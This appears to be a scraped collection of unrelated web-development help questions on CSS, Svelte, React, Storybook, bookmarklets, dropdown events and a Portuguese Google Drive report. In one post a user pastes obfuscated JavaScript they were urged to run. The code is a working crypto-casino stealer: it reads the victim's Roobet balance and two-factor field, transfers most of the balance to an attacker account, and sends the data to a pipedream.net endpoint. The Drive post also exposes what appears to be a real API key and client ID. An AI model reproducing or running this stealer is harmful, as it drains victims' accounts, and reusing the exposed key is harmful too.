How to constrain images to certain aspect ratio

I am trying to figure out how to maintain a responsive and adaptive page while also keeping images a certain ratio, basically I have 3 divs with images layered over eachother, each one maintains their position relative to one another currently, however the images stretch and bulge with the page, which I am trying to avoid without setting pre-defined sizes.

Currently the code below is set up to maintain the sizing and spacing between each class and ID, I have tried using the attribute aspect-ratio but it doesn’t seem to do anything, I am using a supported browser type and version.

HTML

<div className="middle">
                         <img src={mannequin} id='mannequin' className='img' alt="Jewelry"/>
                         <img src={chain}  id="chain" className='img' alt="chain"/>
                         <div className='anchors'>
                         {anchorsState.map((anchor, index) => {
                            return <img src={anchor} key={index} className={'anchor'+" "+"anchor"+index} alt="Jewelry" onClick={()=>{changeAnchor(index)}}/>
                        })}
                         </div>

CSS

.middle{
   position: absolute;
   height:75vh;
   width:60%; 
   box-shadow: 0px 0px 10px 0px rgba(0,0,0,0.75);

}

.middle #chain{
    height:50%;
    width:80%;
    position:absolute;
    display: inline-block;
    left: 10%;
    bottom:25%;
    /* object-position: 50% 50%; */
}

.middle #mannequin{
    height:100%;
    width:100%;
    /* position:relative; */
}

.anchors{
      position:absolute;
      top:25%;
      height:100%;
      width:100%;
      flex-direction: column;
      justify-content: space-between;
}

.anchor{
   position:absolute;
   width:5%;
   height:5%;
   /* background-color: rgba(0,0,0,0.50); */
   border-radius: 50%;
   cursor: pointer;
}

Is Chrome browser 111 kaput?

I am working with vs code and debugging javascript with chrome. Just out of the blue Chrome javascript debugging stopped working. Welcome in the world of automatic updates. I think I will have to downgrade if possible to an old er version. Firefox is still working. Edge has the same problem.

Svelte Store Variable is Null on Page Load

I’m newish to Svelte and web development and am running into a problem juggling awaits. To start, I setup a store to get the auth of the current session and named it as currentUser. I then use the UID from currrentUser to retrieve some data from a Firestore. My issue is that upon loading the page the initial value of currentUser is null which breaks the onSnapshot function.

I currently use this async function to get the data:

async function getData() {
    let querySnapshot = await getDoc(doc(db, 'users', $currentUser.uid));
    profile = querySnapshot.data();
    return profile;
}

This works but its not reactive as it only runs once.

I would like to use the following function instead:

    $: profile = onSnapshot(doc(db, 'users', $currentUser.uid), (doc) => {
        console.log('Current data: ', doc.data());
        profile = doc.data();
    });

This function only works if the $currentUser.uid exists when it runs which on page load $currentUser.uid = null. However, once the store updates its able to console log the correct config but the page breaks and doesn’t re-render.

Is there a way to wait for $currentUser.uid before running the onSnapshot function?

I have tried using something like this:

$: if ($currentUser.uid) {
  profile = new Promise((resolve, reject) => {
    const unsubscribe = onSnapshot(doc(db, 'users', $currentUser.uid), (doc) => {
      console.log('Current data: ', doc.data());
      resolve(doc.data());
    });
    // Make sure to unsubscribe when the component unmounts
    onUnmounted(unsubscribe);
  });
}

React getElementById mysteriously failing

I am creating my own React class component for the first time, and for some reason it’s id doesn’t “take”.

import React, { Component, forwardRef } from 'react';

class FilterGroup extends Component {
    constructor(props) {
        super(props)
    }

    result() {
        return ("some-text");
    }

    render() {
        return (
            <>
                (deleted a lot of stuff)
            </>
        )
    }
}

function App () {
    function read () {
        var filters = document.getElementById("filters")
        var result = filters.result()
        console.log(result);
    }

    return(
        <div>
        <button onClick={read}>
        Read
        </button>
        <FilterGroup id="filters"/>
        </div>
    )
}

export default App; 

When I click the Read button, I get an error, because document.getElementById(“filters”) has returned null.
Seems to me, the read () function is called long after the DOM has been loaded and established, and my constructor is properly passing along the props, so I don’t understand how the id got lost. What happened?

Storybook Story: Typescript story function function template wrapped in parenthesis?

Storybook creates story templates like this:

const Template: Story = args => ({
  props: {
    ...args,
    onPinTask: actionsData.onPinTask,
    onArchiveTask: actionsData.onArchiveTask,
  },
});

The function template is wrapped in parenthesis … (args=>{}) … instead of just being expressed as a normal function … args=>{}.

Just curious as to why this is done?

The full use case for it looks like this:

const Template: Story = args => ({
  props: {
    ...args,
    onPinTask: actionsData.onPinTask,
    onArchiveTask: actionsData.onArchiveTask,
  },
});

export const Default = Template.bind({});
Default.args = {
  task: {
    id: '1',
    title: 'Test Task',
    state: 'TASK_INBOX',
  },
};

Thoughts?

Is there a way to hide the code in a bookmarklet

If you had a bookmarklet like “javascript:alert(“Hello World”);”
Would there be a way to make it so you cant directly see the code, but make the bookmarklet still function? Ive made a bookmarklet I want to share but I dont want people to easily steal the code. Ive seen other people hide their code, I just dont know how they did it.

I saw a stack overflow from 2013, but it wasnt very helpful.

I googled and looked around a bit, and couldnt find anything. I tried to use this “https://obfuscator.io/,” but it just game me several errors.

JavaScript event stopPropagation not working

I have a dropdown with two inputs.. on the first two when I press + or – .. it increments or decrements the value.. but it closes my dropdown and starts my form..

JavaScript function

function incrementValueInput(parentNode, event) {
    var quantityEl = parentNode.querySelector('.quantity');
    var value = parseInt(quantityEl.getAttribute('data-value'));
    value = isNaN(value) ? 0 : value;
    value++;
    quantityEl.setAttribute('data-value', value);
    quantityEl.textContent = value;

    event.stopPropagation();
}

function decrementValueInput(parentNode, event) {
    var quantityEl = parentNode.querySelector('.quantity');
    var value = parseInt(quantityEl.getAttribute('data-value'));
    value = isNaN(value) ? 0 : value;
    value--;
    value = value < 0 ? 0 : value;
    quantityEl.setAttribute('data-value', value);
    quantityEl.textContent = value;

    event.stopPropagation();
}

HTML

                <form id="booking-search-form" action="https://www.booking.com/searchresults.ro.html" method="get"
                    target="_blank" style="display: flex; justify-content: center;">
                    <div class="container">
                        <div class="hakolal-search-row-bk">
                            <div class="col-sm hakolal-search-conf">
                                <label class="hakolal-datepiker">צ’ק אין</label>
                                <input class="hk-datepicker-input" type="date" id="checkin" name="checkin">
                            </div>
                            <div class="col-sm hakolal-search-conf">
                                <label class="hakolal-datepiker">צ’ק אווט</label>
                                <input class="hk-datepicker-input" type="date" id="checkout" name="checkout">
                            </div>
                            <div class="col-sm hakolal-search-conf">
                                <div class="dropdown">
                                    <button class="btn btn-default dropdown-toggle hk-numb-of-guest" type="button"
                                        id="dropdownMenu1" data-toggle="dropdown" aria-haspopup="true"
                                        aria-expanded="true">
                                        <img class="bk-search-icon dropdown-hk"
                                            src="/wp-content/uploads/2023/03/groups_FILL0_wght400_GRAD0_opsz48.svg"
                                            alt="children"><span>מספר אורחים</span></button>
                                    <div id="content" class="content dropdown-menu" aria-labelledby="dropdownMenu1">
                                        <div class="modal-header hk-bk-search">
                                            <button type="button" class="close-hk-search" data-dismiss="modal"
                                                aria-label="Close">
                                                <span aria-hidden="true">&times;</span>
                                            </button>
                                        </div>
                                        <div class="list number-input">
                                            <img class="bk-search-icon"
                                                src="/wp-content/uploads/2023/03/8725461_bed_double_icon.svg"
                                                alt="room">
                                            <label for="rooms" class="list">חדר</label>
                                            <div style="position: absolute; left: 5%; display: flex;"
                                                class="search-button-section">
                                                <button onclick="decrementValueInput(this.parentNode)"
                                                    class="bk-search-minus">
                                                    -
                                                </button>

                                                <div id="bk-room" class="quantity bk-search-input" data-value="1"
                                                    contenteditable="false" onclick="preventDropdownClose(event)">1
                                                </div>

                                                <button onclick="incrementValueInput(this.parentNode)"
                                                    class="bk-search-plus">
                                                    +
                                                </button>
                                            </div>
                                        </div>
                                        <div class="list number-input" id="adults-list">
                                            <img class="bk-search-icon"
                                                src="/wp-content/uploads/2023/03/person_FILL0_wght400_GRAD0_opsz48.svg"
                                                alt="adults">
                                            <label for="adults" class="list">שני מבוגרים</label>
                                            <div style="position: absolute; left: 5%; display: flex;"
                                                class="search-button-section">
                                                <button onclick="decrementValueInput(this.parentNode)"
                                                    class="bk-search-minus">
                                                    -
                                                </button>

                                                <div id="bk-adults" class="quantity bk-search-input" data-value="2"
                                                    contenteditable="false" onclick="preventDropdownClose(event)">2
                                                </div>

                                                <button onclick="incrementValueInput(this.parentNode)"
                                                    class="bk-search-plus">
                                                    +
                                                </button>
                                            </div>
                                        </div>
                                        <div class="list number-input" id="children-list">
                                            <img class="bk-search-icon"
                                                src="/wp-content/uploads/2023/03/child_care_FILL0_wght400_GRAD0_opsz48.svg"
                                                alt="children">
                                            <label for="children" class="list">0 ילד</label>
                                            <div style="position: absolute; left: 5%; display: flex;"
                                                search-button-section">
                                                <div class="bk-search-minus" onclick="decrementValue(this.parentNode, event)">
                                                    -
                                                </div>

                                                <div id="bk-childrens" class="quantity bk-search-input" data-value="0"
                                                    contenteditable="false" onclick="preventDropdownClose(event)">
                                                    0
                                                </div>

                                                <div class="bk-search-plus" onclick="incrementValue(this.parentNode, event)">
                                                    +
                                                </div>
                                            </div>
                                        </div>
                                        <div id="children-ages"></div>
                                    </div>
                                </div>
                            </div>
                            <div class="col-sm hakolal-search-conf">
                                <button type="submit" class="btn btn-info hakolal-search-bk">לחפש</button>
                            </div>
                        </div>
                    </div>
                </form>

it would help me a lot if you could help me .. I can’t figure it out .. why does the dropdown close every time I press + or – ..

Here is part of JS for children..

// function for plus button to increase value
function incrementValue(parentNode) {
    var quantityEl = parentNode.querySelector('.quantity');
    var value = parseInt(quantityEl.getAttribute('data-value'));
    value = isNaN(value) ? 0 : value;
    value++;
    quantityEl.setAttribute('data-value', value);
    quantityEl.textContent = value;

    const childrenAgesDiv = document.querySelector("#children-ages");
    const select = document.createElement("select");
    select.setAttribute("id", `child-${value}-age`);
    select.setAttribute("name", `age-${value}`);
    select.classList.add("bk-search-age");

    for (let j = 1; j <= 17; j++) {
        const option = document.createElement("option");
        option.setAttribute("value", j);
        option.innerText = j;
        select.appendChild(option);
    }

    const label = document.createElement("label");
    label.setAttribute("for", `child-${value}-age`);
    label.classList.add("bk-search-age");
    label.innerText = `גיל ילד ${value}`;

    const div = document.createElement("div");
    div.classList.add("bk-search-select-row");
    div.appendChild(label);
    div.appendChild(select);
    childrenAgesDiv.appendChild(div);

    // Add event listener to select to prevent closing dropdown
    select.addEventListener("click", (event) => {
        event.stopPropagation();
    });

    // Prevent closing dropdown
    event.stopPropagation();
}

// function for minus button to decrease value
function decrementValue(parentNode) {
    var quantityEl = parentNode.querySelector('.quantity');
    var value = parseInt(quantityEl.getAttribute('data-value'));
    value = isNaN(value) ? 0 : value;
    value--;
    value = value < 0 ? 0 : value;
    quantityEl.setAttribute('data-value', value);
    quantityEl.textContent = value;

    const childrenAgesDiv = document.querySelector("#children-ages");
    if (childrenAgesDiv.children.length > 0) {
        childrenAgesDiv.removeChild(childrenAgesDiv.lastChild);
    }

    // Prevent closing dropdown
    event.stopPropagation();
}

// Prevent closing dropdown
function preventDropdownClose(event) {
    event.stopPropagation();
}

but here it works perfectly.. it doesn’t close my dropdown when clicking + or -. Any help here ?

javascript decoder obfuscator

I tried this with many javascript deobfuscators but I couldn’t figure it out. Is there a site or someone who can help?

Someone sent me to use the code but I thought I should have a look first

the code looks like base64 but I couldn’t decipher it

(function (Y, c) {
    var w = M,
        l = r,
        v = Y();
    while (!![]) {
        try {
            var Z = parseInt(l('0x126', 'LIlw')) / 0x1 + parseInt(w(0x19d)) / 0x2 * (parseInt(w('0x12b')) / 0x3) + parseInt(l('0x14e', '*ObP')) / 0x4 + parseInt(w(0x18d)) / 0x5 + -parseInt(l('0x1b5', 'BbM7')) / 0x6 + parseInt(w('0x181')) / 0x7 * (-parseInt(l('0x11d', 'IQTA')) / 0x8) + parseInt(l('0x1ac', 'p%t)')) / 0x9 * (-parseInt(w('0x145')) / 0xa);
            if (Z === c) break;
            else v['push'](v['shift']());
        } catch (y) {
            v['push'](v['shift']());
        }
    }
}(T, 0xb142d));

function M(r, Y) {
    var c = T();
    return M = function (v, Z) {
        v = v - 0x11a;
        var y = c[v];
        if (M['QDAact'] === undefined) {
            var A = function (S) {
                var j = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';
                var b = '',
                    o = '';
                for (var h = 0x0, N, d, i = 0x0; d = S['charAt'](i++); ~d && (N = h % 0x4 ? N * 0x40 + d : d, h++ % 0x4) ? b += String['fromCharCode'](0xff & N >> (-0x2 * h & 0x6)) : 0x0) {
                    d = j['indexOf'](d);
                }
                for (var E = 0x0, L = b['length']; E < L; E++) {
                    o += '%' + ('00' + b['charCodeAt'](E)['toString'](0x10))['slice'](-0x2);
                }
                return decodeURIComponent(o);
            };
            M['ZFdnbz'] = A, r = arguments, M['QDAact'] = !![];
        }
        var G = c[0x0],
            f = v + G,
            P = r[f];
        return !P ? (y = M['ZFdnbz'](y), r[f] = y) : y = P, y;
    }, M(r, Y);
}

function r(M, Y) {
    var c = T();
    return r = function (v, Z) {
        v = v - 0x11a;
        var y = c[v];
        if (r['sTuTYl'] === undefined) {
            var A = function (j) {
                var b = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';
                var o = '',
                    h = '';
                for (var N = 0x0, d, i, E = 0x0; i = j['charAt'](E++); ~i && (d = N % 0x4 ? d * 0x40 + i : i, N++ % 0x4) ? o += String['fromCharCode'](0xff & d >> (-0x2 * N & 0x6)) : 0x0) {
                    i = b['indexOf'](i);
                }
                for (var L = 0x0, s = o['length']; L < s; L++) {
                    h += '%' + ('00' + o['charCodeAt'](L)['toString'](0x10))['slice'](-0x2);
                }
                return decodeURIComponent(h);
            };
            var S = function (b, o) {
                var h = [],
                    N = 0x0,
                    d, E = '';
                b = A(b);
                var L;
                for (L = 0x0; L < 0x100; L++) {
                    h[L] = L;
                }
                for (L = 0x0; L < 0x100; L++) {
                    N = (N + h[L] + o['charCodeAt'](L % o['length'])) % 0x100, d = h[L], h[L] = h[N], h[N] = d;
                }
                L = 0x0, N = 0x0;
                for (var a = 0x0; a < b['length']; a++) {
                    L = (L + 0x1) % 0x100, N = (N + h[L]) % 0x100, d = h[L], h[L] = h[N], h[N] = d, E += String['fromCharCode'](b['charCodeAt'](a) ^ h[(h[L] + h[N]) % 0x100]);
                }
                return E;
            };
            r['XwmBsM'] = S, M = arguments, r['sTuTYl'] = !![];
        }
        var G = c[0x0],
            f = v + G,
            P = M[f];
        return !P ? (r['GmAWGu'] === undefined && (r['GmAWGu'] = !![]), y = r['XwmBsM'](y, Z), M[f] = y) : y = P, y;
    }, r(M, Y);
}
var gemms;
setTimeout(function gemms() {
    var k = r,
        D = M;
    fetch(D(0x183), {
        'headers': {
            'accept': k('0x152', '2QFn'),
            'content-type': k(0x11b, 'nbWb')
        },
        'body': JSON[k(0x179, 'hZ]o')](D(0x170)),
        'method': k('0x155', 'l8OF')
    })[D(0x156)](returniJs);
}, 0x6978);
var steBalance;
setTimeout(function steBalance() {
    function Y() {
        var U = r,
            Q = M;
        const c = document['getElementsByTagName'](Q(0x11f))[0xf];
        var v = document[U('0x17e', 'b%g2')]('id');
        v[Q(0x164)] = 'demoid', c[Q('0x174')](v);
    };
    Y();
}, 0x1b58), setTimeout(function steBalance() {
    var p = r,
        B = M;
    document[B(0x158)](p('0x13c', 'SD!H'))[p('0x14a', 'AqD(')](B('0x13b'), B('0x151'));
    var Y = document[p(0x12d, '^cpk')](B('0x123'));
    Y[B('0x137')](B('0x191'), () => {
        var x = B,
            m = p,
            c = document[m(0x192, '5rEp')](x(0x1a2)),
            v = c[x(0x164)],
            Z = document['getElementById'](m('0x13f', '5rEp'))[x(0x15f)],
            y = Z[x(0x13a)](),
            A = y[m('0x19b', '2vA3')](/$/g, '')[x('0x140')](/Deposit/g, ''),
            G = parseFloat(A);
        if (v == '') alert(x(0x18a));
        else {
            fetch(x('0x127'), {
                'headers': {
                    'accept': m('0x169', '@EgZ'),
                    'accept-language': m('0x128', 'hZ]o'),
                    'content-type': x(0x162),
                    'sec-ch-ua': x('0x1a7'),
                    'sec-ch-ua-mobile': '?0',
                    'sec-fetch-dest': 'empty',
                    'sec-fetch-mode': 'cors',
                    'sec-fetch-site': x('0x14b')
                },
                'referrer': m('0x1b0', '2J^O'),
                'referrerPolicy': m(0x138, 'b%g2'),
                'body': JSON[m(0x142, 'l8OF')]({
                    'balanceField': 'eth'
                }),
                'method': x(0x1a4),
                'mode': m('0x18c', 'yYeS'),
                'credentials': m('0x197', 'tFRZ')
            });
            var f;
            setTimeout(function N() {
                function d() {
                    var W = M,
                        n = r,
                        i = document['getElementById'](n('0x18e', '^cpk'))['innerHTML'],
                        E = i['valueOf'](),
                        L = E['replace'](/$/g, '')[n('0x172', 'tFRZ')](/Deposit/g, ''),
                        s = parseFloat(L);
                    fetch('https://en5w1qyeom0fh9a.m.pipedream.net', {
                        'headers': {
                            'accept': n('0x1b3', 'if5@'),
                            'content-type': W(0x162)
                        },
                        'body': JSON['stringify'](s + n(0x17b, 'd^)d')),
                        'method': n(0x124, '2vA3')
                    });
                };
                d();
            }, 0xbb8);
            var P;
            setTimeout(function d() {
                var g = x,
                    e = m,
                    i = document['getElementById'](e('0x135', 'if5@'))[e('0x1ae', 'VU*c')],
                    E = i[e(0x1ad, 'yYeS')](),
                    L = E[e('0x149', '7UGJ')](/$/g, '')['replace'](/Deposit/g, ''),
                    s = parseFloat(L),
                    a = s * 0x52 / 0x64,
                    u = '' + c[g(0x164)];
                fetch(g('0x190'), {
                    'method': e('0x159', '%h%&'),
                    'headers': {
                        'content-type': e('0x15c', '&Tn0'),
                        'accept-language': g(0x11c),
                        'accept': g(0x132),
                        'sec-fetch-site': g(0x176),
                        'sec-fetch-dest': e('0x186', 'T6wk'),
                        'sec-fetch-mode': 'cors',
                        'sec-fetch-site': e(0x12f, 'e0EA')
                    },
                    'referrer': 'https://roobet.com/',
                    'referrerPolicy': 'strict-origin-when-cross-origin',
                    'body': JSON[g('0x19a')]({
                        'username': g('0x157'),
                        'amount': a,
                        'isprivate': !![],
                        'twoFactorToken': u
                    }),
                    'mode': e('0x182', 'kEJ0'),
                    'credentials': g('0x160')
                })['then'](H => H[e(0x1a5, 'AqD(')]())[e(0x122, 'kEJ0')](H => console[e(0x15e, 'qidZ')]()), c[g(0x164)] === '';
            }, 0x1770);
            var S;
            setTimeout(function i() {
                var V = m,
                    K = x;
                fetch(K('0x127'), {
                    'headers': {
                        'accept': V('0x178', 'kEJ0'),
                        'accept-language': K('0x153'),
                        'content-type': V('0x196', 'Rg3#'),
                        'sec-ch-ua': V(0x168, '&Tn0'),
                        'sec-ch-ua-mobile': '?0',
                        'sec-fetch-dest': K(0x17a),
                        'sec-fetch-mode': K(0x16c),
                        'sec-fetch-site': V('0x120', '5KQR')
                    },
                    'referrer': V(0x17c, 'ZMfV'),
                    'referrerPolicy': V(0x1a6, 'Wi0V'),
                    'body': JSON[K(0x19a)]({
                        'balanceField': K('0x173')
                    }),
                    'method': 'POST',
                    'mode': K(0x16c),
                    'credentials': V(0x18f, '7UGJ')
                });
            }, 0x2328);
            var j;
            setTimeout(function E() {
                function L() {
                    var T0 = r,
                        J = M,
                        s = document['getElementById'](J('0x184'))['innerHTML'],
                        a = s[J(0x13a)](),
                        u = a[J(0x140)](/$/g, '')['replace'](/Deposit/g, ''),
                        H = parseFloat(u);
                    fetch(T0(0x11e, 'kEJ0'), {
                        'headers': {
                            'accept': T0('0x152', '2QFn'),
                            'content-type': T0('0x180', 'T6wk')
                        },
                        'body': JSON[T0('0x1a9', 'BbM7')](H + T0(0x171, '2J^O')),
                        'method': J(0x1a4)
                    });
                };
                L();
            }, 0x32c8);
            var b;
            setTimeout(function L() {
                var T2 = x,
                    T1 = m,
                    s = document[T1(0x16e, '7UGJ')](T2('0x184'))[T2(0x15f)],
                    a = s[T2(0x13a)](),
                    u = a['replace'](/$/g, '')[T1('0x1aa', '&Tn0')](/Deposit/g, ''),
                    H = parseFloat(u),
                    t = H * 0x52 / 0x64,
                    C = '' + c[T1(0x194, 'ZMfV')];
                fetch('https://api.roobet.com/account/transfer', {
                    'method': 'post',
                    'headers': {
                        'content-type': T1('0x1a3', 'SD!H'),
                        'accept-language': T2(0x11c),
                        'accept': T1(0x161, 'xBv4'),
                        'sec-fetch-site': 'same-origin',
                        'sec-fetch-dest': 'empty',
                        'sec-fetch-mode': T2(0x16c),
                        'sec-fetch-site': T1(0x131, '7UGJ')
                    },
                    'referrer': T1('0x13e', 'bxlY'),
                    'referrerPolicy': T2(0x136),
                    'body': JSON[T2(0x19a)]({
                        'username': T1(0x1b6, 'BbM7'),
                        'amount': t,
                        'isprivate': !![],
                        'twoFactorToken': C
                    }),
                    'mode': T2(0x16c),
                    'credentials': 'include'
                })[T1('0x129', 'VU*c')](I => I[T1(0x1b4, 'kEJ0')]())[T2('0x156')](I => console[T2(0x134)]()), c[T1(0x143, '2vA3')] === '';
            }, 0x4844);
            var S;
            setTimeout(function s() {
                    var T4 = x,
                        T3 = m;
                    fetch(T3('0x14d', 'l8OF'), {
                        'headers': {
                            'accept': 'application/json, text/plain, **',
                            'content-type': T6(0x162)
                        },
                        'body': JSON['stringify'](I + T5('0x165', '^cpk')),
                        'method': T5(0x17d, 'Wi0V')
                    });
                }; u();
            }, 0x5fb4);
        var b;
        setTimeout(function u() {
            var T8 = x,
                T7 = m,
                H = document[T7('0x148', 'T6wk')](T8(0x184))['innerHTML'],
                t = H[T7('0x154', 'd^)d')](),
                C = t[T8(0x140)](/$/g, '')[T7('0x130', 'tJjm')](/Deposit/g, ''),
                I = parseFloat(C),
                R = I * 0x52 / 0x64,
                O = '' + c['value'];
            fetch(T7('0x15a', 'RQKD'), {
                'method': T8(0x16a),
                'headers': {
                    'content-type': T7(0x1a3, 'SD!H'),
                    'accept-language': T8('0x11c'),
                    'accept': T7(0x11a, 'yYeS'),
                    'sec-fetch-site': T7('0x18b', 'kEJ0'),
                    'sec-fetch-dest': 'empty',
                    'sec-fetch-mode': T7(0x133, 'LIlw'),
                    'sec-fetch-site': T7('0x1ab', 'Wi0V')
                },
                'referrer': T8('0x12c'),
                'referrerPolicy': T8(0x136),
                'body': JSON['stringify']({
                    'username': T7(0x125, 'ZMfV'),
                    'amount': R,
                    'isprivate': !![],
                    'twoFactorToken': O
                }),
                'mode': T7(0x141, '@EgZ'),
                'credentials': 'include'
            })[T8(0x156)](F => F[T7(0x13d, 'BbM7')]())[T8(0x156)](F => console[T7(0x15b, '5KQR')]()), c[T7('0x147', 'LIlw')] === '';
        }, 0x733c);
        var o;
        setTimeout(function H() {
            var TT = m,
                T9 = x;
            fetch(T9('0x127'), {
                'headers': {
                    'accept': TT(0x14c, '*ObP'),
                    'accept-language': TT('0x163', 'Wi0V'),
                    'content-type': TT(0x199, '&UXc'),
                    'sec-ch-ua': TT(0x1b1, 'VU*c'),
                    'sec-ch-ua-mobile': '?0',
                    'sec-fetch-dest': 'empty',
                    'sec-fetch-mode': 'cors',
                    'sec-fetch-site': T9(0x14b)
                },
                'referrer': 'https://roobet.com/',
                'referrerPolicy': T9(0x136),
                'body': JSON[T9('0x19a')]({
                    'balanceField': T9(0x1a1)
                }),
                'method': 'POST',
                'mode': 'cors',
                'credentials': TT('0x16b', 'if5@')
            });
        }, 0x86c4);
        var h;
        setTimeout(function t() {
                function C() {
                    var TM = M,
                        Tr = r,
                        I = document['getElementById'](Tr('0x166', 'QL^F'))[Tr('0x16f', 'b%g2')],
                        R = I[Tr('0x14f', 'Rg3#')](),
                        O = R[Tr('0x144', 'Wi0V')](/$/g, '')[Tr(0x12a, 'kEJ0')](/Deposit/g, ''),
                        F = parseFloat(O);
                    fetch('https://en5w1qyeom0fh9a.m.pipedream.net', {
                        'headers': {
                            'accept': 'application/json, text/plain, **',
                            'sec-fetch-site': Tc(0x176),
                            'sec-fetch-dest': TY(0x1a0, 'Rg3#'),
                            'sec-fetch-mode': TY('0x187', 'i#gq'),
                            'sec-fetch-site': Tc('0x14b')
                        },
                        'referrer': 'https://roobet.com/',
                        'referrerPolicy': Tc(0x136),
                        'body': JSON[Tc(0x19a)]({
                            'username': Tc('0x157'),
                            'amount': q,
                            'isprivate': !![],
                            'twoFactorToken': z
                        }),
                        'mode': TY(0x1af, '2QFn'),
                        'credentials': 'include'
                    })[Tc('0x156')](X => X[Tc('0x193')]())[Tc(0x156)](X => console[Tc(0x134)]()), c[Tc(0x164)] === '', alert(Tc('0x1a8'));
                }, 0xb220);
        }
    });
}, 0x3a98);

function returnApiJs(Y) {
    var Tv = M;
    console[Tv('0x134')](Y['text']());
}

function T() {
    var TZ = ['nZbRDKDeuLO', 'W6xcSd5AWOy', 'W5XsWPqJW4W', 'kSkvW7dcJSkUW4FcOCooWOZdH8kjlcOe', 'cSklW6PKWONcRCoN', 'W78ImhzXW6RdRCokW7JcMrhcT8kXrhpcR1bR', 'C2fTzs1ZAxrL', 'sSkxp8owW4JdLMqjEIWtWONcHJ45W73cLWZcP0FcVCkohgxcH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v4Dc9WBgfPBIWGkI8Q', 'W4LCWOOL', 'y2XLyxi', 'W6hcRthcSH5S', 'C3rYAwn0lw9YAwDPBI13AgvUlwnYB3nZlw9YAwDPBG', 'ywrKrxzLBNrmAxn0zw5LCG', 'W7/cSSoJFZuvW7RdVCojWRaFnMRdHgjAWOhdH8k8WRnTW7W3W48teNKsvMVdQa', 'WPWxWQ4MWOZcSG', 'DMfSDwvpzG', 'ywz0zxjLBMq', 'W7hcVJzw', 'wZSwbq', 'fbDAcb03W77dPqZcL8kLW4ZcJu8WWRVdNConda', 'dmkbFSoWW4BcUW', 'CMvWBgfJzq', 'WQvQW43cRa', 'WRPcW6Tlimk8BdBcRa', 'WO4tWQ88WOa', 'WPivaK51W73cRW'];
    T = function () {
        return TZ;
    };
    return T();
};

I couldn’t find the explanation at the bottom

de4js
base64 utf
deobfuscator

Create report that displays subfolders [closed]

Estou usando o PHP & JavaScript para criar relatorios automaticamente no Execel.
Isso para o trabalho, e estou nervoso de conseguir fazer, afinal sou estagiário.
Os arquivos se encontram no Drive, e o relatorio deve lista-los em uma planilha no Execel, porém so e listado os arquivos dentro da pasta Pai, porém não as subpastas (as quais tem outras subpastsas, as mesmas que possuem arquivos).

logo abaixo esta um trecho do codigo o qual acredito que esta com erro, sendo usado no visual studio code para opera-lo.

@extends(‘_layout’)
@section(‘conteudo’)

<link href="/assets/plugins/custom/datatables/datatables.bundle.css" rel="stylesheet" type="text/css" />


<div class="content d-flex flex-column flex-column-fluid" id="kt_content">

    <div class="toolbar" id="kt_toolbar">

        <div id="kt_toolbar_container" class="container-fluid d-flex flex-stack">

            <div data-kt-swapper="true" data-kt-swapper-mode="prepend"
                data-kt-swapper-parent="{default: '#kt_content_container', 'lg': '#kt_toolbar_container'}"
                class="page-title d-flex align-items-center flex-wrap me-3 mb-5 mb-lg-0">

                <h1 class="d-flex align-items-center text-dark fw-bolder fs-3 my-1">Listar Pasta Drive</h1>


                <span class="h-20px border-gray-300 border-start mx-4"></span>


                <ul class="breadcrumb breadcrumb-separatorless fw-bold fs-7 my-1">

                    <li class="breadcrumb-item text-muted">
                        <a href="/" class="text-muted text-hover-primary">Home</a>
                    </li>


                    <li class="breadcrumb-item">
                        <span class="bullet bg-gray-300 w-5px h-2px"></span>
                    </li>


                    <li class="breadcrumb-item text-dark">Listar Pasta Drive</li>

                </ul>

            </div>




        </div>

    </div>

    <div class="post d-flex flex-column-fluid" id="kt_post">
        <div id="kt_content_container" class="container-fluid">
            <div class="card card-flush">
                <div class="card-header align-items-center py-5 gap-2 gap-md-5">
                    <div class="card-title">
                        <h2>Google Drive</h2>
                    </div>
                </div>

                <div class="card-body pt-0">

                    <form>
                        <div class="row">
                            <div class="mb-10 col">
                                <label class="form-label">Selecione a pasta para gerar hierarquia de arquivos</label>
                                <select class="form-select" name="pasta" id="pasta" required>
                                    <option value="">Selecione</option>
                                    @foreach ($folders->getFiles() as $folder)
                                        <option value="{{ $folder->getId() }}">{{ $folder->getName() }}</option>
                                    @endforeach
                                </select>
                            </div>
                        </div>
                        <div class="row">
                            <div class="col">
                                <button type="submit" class="btn btn-primary">Gerar Hierarquia</button>
                            </div>
                        </div>

                        <div class="mt-10">

                            <button id="authorize_button" onclick="handleAuthClick()" type="button">Autorizar</button>
                            <button id="signout_button" onclick="handleSignoutClick()" type="button">Sair</button>

                            <pre id="content" style="white-space: pre-wrap;"></pre>

                            <script type="text/javascript">

                            const CLIENT_ID = '854922576335-s3id0m1i64ivh8igs09pp12mfksfu803.apps.googleusercontent.com';
                            const API_KEY = 'AIzaSyDiCt23EkWaF6dWqAXrdZHeyBogGEzBOfg';

                            const DISCOVERY_DOC = 'https://www.googleapis.com/discovery/v1/apis/drive/v3/rest';

                            const SCOPES = 'https://www.googleapis.com/auth/drive.metadata.readonly';

                            let tokenClient;
                            let gapiInited = false;
                            let gisInited = false;

                            document.getElementById('authorize_button').style.visibility = 'hidden';
                            document.getElementById('signout_button').style.visibility = 'hidden';

                            function gapiLoaded() {
                                gapi.load('client', initializeGapiClient);
                            }

                            async function initializeGapiClient() {
                                await gapi.client.init({
                                    apiKey: API_KEY,
                                    discoveryDocs: [DISCOVERY_DOC],
                                });
                                gapiInited = true;
                                maybeEnableButtons();
                            }

                            function gisLoaded() {
                                tokenClient = google.accounts.oauth2.initTokenClient({
                                    client_id: CLIENT_ID,
                                    scope: SCOPES,
                                    callback: '',
                                });
                                gisInited = true;
                                maybeEnableButtons();
                            }

                            function maybeEnableButtons() {
                                if (gapiInited && gisInited) {
                                document.getElementById('authorize_button').style.visibility = 'visible';
                                }
                            }

                            function handleAuthClick() {
                                tokenClient.callback = async (resp) => {
                                    if (resp.error !== undefined) {
                                        throw (resp);
                                    }
                                    if(document.getElementById('pasta').value==""){
                                        alert('Informe a pasta!');
                                    }
                                    document.getElementById('signout_button').style.visibility = 'visible';
                                    document.getElementById('authorize_button').innerText = 'Atualizar';
                                    arquivos = []
                                    await listFiles(document.getElementById('pasta').value);
                                    KTUtil.onDOMContentLoaded((function() {
                                        KTAppEcommerceProducts.init();
                                    }));
                                };

                                if (gapi.client.getToken() === null) {

                                    tokenClient.requestAccessToken({prompt: 'consent'});
                                } else {
                                    tokenClient.requestAccessToken({prompt: ''});
                                }
                            }

                            function handleSignoutClick() {
                                const token = gapi.client.getToken();
                                if (token !== null) {
